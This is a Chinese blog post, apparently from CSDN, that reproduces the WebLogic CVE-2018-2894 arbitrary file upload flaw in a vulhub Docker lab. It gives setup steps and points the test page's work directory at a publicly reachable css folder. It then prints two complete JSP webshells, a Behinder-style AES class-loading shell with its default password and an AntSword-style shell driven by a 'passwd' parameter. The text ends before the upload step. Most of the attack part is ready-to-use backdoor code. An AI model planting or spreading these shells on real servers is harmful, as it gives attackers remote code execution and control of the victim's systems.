Weblogic 任意文件上传漏洞复现（CVE-2018-2894）

最新推荐文章于 2025-03-17 17:05:03 发布

夏日冰棍

最新推荐文章于 2025-03-17 17:05:03 发布

阅读量1.1k

点赞数 10

文章标签：安全

本文链接：https://blog.csdn.net/m0_68045701/article/details/140279125

版权

一、漏洞描述

Oracle融合中间件（子组件：WLS - Web服务）的Oracle WebLogic Server组件中的漏洞。受影响的受支持版本为12.1.3.0,12.2.1.2和12.2.1.3。易于利用的漏洞允许通过HTTP进行网络访问的未经身份验证的攻击者破坏Oracle WebLogic Server。成功攻击此漏洞可能导致Oracle WebLogic Server被占用。在开启了Web Service Test Page功能的情况下，攻击者可以无需授权上传恶意文件，从而控制服务器。

二、受影响的版本

weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。

三、环境搭建与漏洞复现

进入vulhub使用docker搭建环境

cd /vulhub/weblogic/CVE-2018-2894

docker-compose up -d

可以使用命令：docker ps来查看端口号

环境启动后，访问http://your-ip:7001/console，即可看到后台登录页面

执行docker-compose logs | grep password可查看管理员密码，管理员用户名为：weblogic，密码为：8XzCCxpF

登录后台页面，点击base_domain的配置，在“高级”中开启“启用 Web 服务测试页”选项，记得保存。

访问http://192.168.190.134:7001/ws_utc/config.do，设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录，访问这个目录是无需权限的，这一点很重要。

网上找的jsp木马文件

这个是用冰蝎连的

//默认连接密码rebeyond
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

这个是用蚁剑连的
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd"); //密码为：passwd,可自行更改
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>